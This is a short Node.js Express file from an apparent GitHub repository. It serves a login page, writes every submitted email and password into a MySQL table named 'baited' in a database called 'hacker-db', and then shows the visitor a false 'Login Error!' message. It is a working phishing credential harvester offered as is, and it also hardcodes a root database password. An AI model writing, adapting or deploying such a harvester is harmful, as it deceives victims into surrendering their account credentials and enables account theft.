-
Notifications
You must be signed in to change notification settings - Fork 0
/
app.js
36 lines (30 loc) · 1.02 KB
/
app.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
const express = require('express'); // Express web server framework
const mysql = require('mysql2'); // MySQL database client
const bodyParser = require('body-parser'); // Node.js body parsing middleware
const app = express();
app.set('view engine', 'ejs');
app.use(bodyParser.urlencoded({ extended: false }));
const connection = mysql.createConnection({
host: 'localhost',
user: 'root',
database: 'hacker-db',
password: '12345678',
port: 3306
});
connection.connect(function (err) {
if (err) throw err;
console.log('You are now connected...');
});
app.get('/', function (req, res) {
res.render('index', { message: '', result: [] });
});
app.post('/', function (req, res) {
const password = req.body.pass;
const email = req.body.email;
const sql = 'INSERT INTO baited (email, password) VALUES (?, ?)';
connection.query(sql, [email, password]);
res.render('index', { message: 'Login Error!', result: [] });
});
app.listen(3000, function () {
console.log('Listening on port 3000');
});